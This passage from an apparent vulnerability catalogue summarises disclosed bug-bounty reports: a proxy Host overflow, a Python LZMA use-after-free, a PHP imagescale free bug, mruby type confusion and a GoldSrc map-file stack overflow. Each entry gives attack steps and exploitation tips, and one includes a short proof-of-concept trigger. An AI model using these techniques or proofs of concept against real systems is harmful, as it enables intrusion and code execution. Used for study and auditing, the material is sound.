Insight β€” Reverse-proxy Host/absolute-URI handling is a classic buffer sink; test proxies/CDNs with pathologically long Host values. Exploitation notes worth reusing: no leading NUL can be written (string-terminated copy) so 32-bit is easier; musl libc doesn't NUL-terminate on huge sizes (OpenWRT/Alpine easier); with stack protector only DoS; overwriting a boolean config var can be as useful as the return address.

Real-world example

Dangling pointer from incomplete error path β†’ UAF on next call (Python LZMA)

β—† Critical
Specimen #172562 Β· ibb Β· 1500 Β· 16 votes Β· resolved
Program ibbSurface other

Root cause

LZMADecompressor.decompress() sets lzs->next_in = data on first call; if decompress_buf() fails on a malformed stream it returns WITHOUT clearing lzs->next_in. The caller then releases the data buffer, so lzs->next_in dangles. A subsequent decompress() on the same object memcpy's into the freed pointer β†’ memory corruption / code execution.

Method

  1. Create one LZMADecompressor instance
  2. Call decompress() with a malformed LZMA stream so decompress_buf fails but leaves next_in set; the input bytes object is then freed
  3. Call decompress() again on the same instance β€” memcpy((void*)(lzs->next_in + avail_in), data, len) writes into freed memory
  4. Heap-spray freed region for controlled write / ret2libc
import _lzma d = _lzma.LZMADecompressor() for x in range(2): try: d.decompress(b"\x20\x26\x20\x63\x61\x6c\x63\x00\x41\x41\x41\x41\x41\x41\x41\x41" * (0x100//16)) except: pass # fix: on decompress_buf failure, set lzs->next_in = 0 before return

Insight β€” Error paths that return early but leave a cached pointer to a caller-owned/soon-freed buffer are a reliable UAF pattern in streaming/stateful C APIs. When auditing decompressors/parsers with a persistent state object, check that every failure branch nulls cached input pointers. Remotely reachable wherever untrusted LZMA/compressed streams are decoded incrementally.

Real-world example

Error-path cleanup frees uninitialized memory + unsigned loop underflow (PHP imagescale)

β—† Critical
Specimen #478367 Β· ibb Β· 1500 Β· 16 votes Β· resolved
Program ibbSurface otherTag file-upload

Root cause

_gdContributionsAlloc(): when overflow2(windows_size) trips, overflow_error is set and the cleanup loop frees already-allocated Weights β€” but no lines are allocated yet, so it frees an uninitialized res->ContribRow[i].Weights. Worse, u is decremented to (unsigned)-1 before the freeing loop, so the loop condition i<=u wraps; combined this yields efree() on garbage β†’ UAF/heap corruption (CVE-2016-10166, plus a second free bug).

Method

  1. Call imagescale() with dimensions that make overflow2(windows_size, sizeof(double)) return true on the first iteration
  2. overflow_error=1 triggers the cleanup free-loop with u=0, then u-- underflows to a huge unsigned value
  3. gdFree runs over uninitialized/garbage Weights pointers β†’ corruption; exploitable for safe-mode bypass, possibly remotely
<?php imagescale($img, HUGE_WIDTH, HUGE_HEIGHT); // pick sizes so overflow2(windows_size,sizeof(double)) is true

Insight β€” Two reusable primitives: (1) integer-overflow guard branches whose cleanup frees buffers that were never allocated; (2) `u--` on an unsigned before a `for(i=0;i<=u;i++)` loop underflows to SIZE_MAX and iterates wildly. Audit overflow/error branches in allocators for both, especially image/media libs invoked on uploaded files.

Real-world example

mruby struct type confusion -> instruction pointer control

β—† Critical
Specimen #181879 Β· shopify-scripts Β· USD 18000 Β· 14 votes Β· resolved
Program shopify-scriptsSurface otherChain type confusion -> arbitrary R/W -> IP control -> RCTag supply-chain

Root cause

A type-confusion bug in the mruby interpreter (used to sandbox Shopify Scripts) lets an attacker-supplied Ruby script cause a struct to be interpreted as the wrong type, yielding an arbitrary read/write primitive and control of the instruction pointer (PoC jumps to 0x0000133713371337).

Method

  1. Run attacker Ruby inside the mruby sandbox
  2. Trigger the struct type confusion to build an arbitrary read/write primitive
  3. Overwrite a function pointer / vtable to control execution flow
# see attachment 134430_mruby-read-write-primitive.rb (annotated PoC)

Insight β€” Any service that runs 'sandboxed' user scripts in an embedded VM (mruby, Lua, JS engines) is a memory-corruption attack surface; type-confusion in the interpreter's object model typically escalates straight to R/W primitive -> IP control -> RCE, escaping the script sandbox.

Real-world example

GoldSrc BSP WAD-list stack overflow -> RCE (COM_FileBase)

β—† Critical
Specimen #675710 Β· valve Β· 750 Β· 11 votes Β· resolved
Program valveSurface otherChain malicious map download -> BSP WAD-list parse -> stack

Root cause

TEX_InitFromWad passes each WAD path from a map's BSP WAD list to COM_FileBase, which copies the filename into a small fixed stack buffer with no bounds check; a long WAD name overflows the stack and (with no ASLR on hl.exe) yields reliable code execution.

Method

  1. Author a malicious map whose BSP WAD list contains an overlong WAD filename
  2. Serve it so clients download and load the map (map/resource download)
  3. COM_FileBase overflows the stack buffer during TEX_InitFromWad -> control EIP -> execute a dropped file
BSP 'wad' worldspawn key containing an overlong AAAA...\path\<oversized>.wad filename

Insight β€” Game/asset file formats that embed file paths are stack-overflow goldmines: any COM_FileBase / basename-into-fixed-buffer copy without a length cap is exploitable, and legacy engines often ship without ASLR making it deterministic.

Β§References & practice

  1. No dedicated PortSwigger lab for this class; use the methodology above and the cited reports.
  2. All 324 disclosed reports for this class are catalogued as specimens above.
  3. See also: exploit chains Β· payload libraries Β· methodology.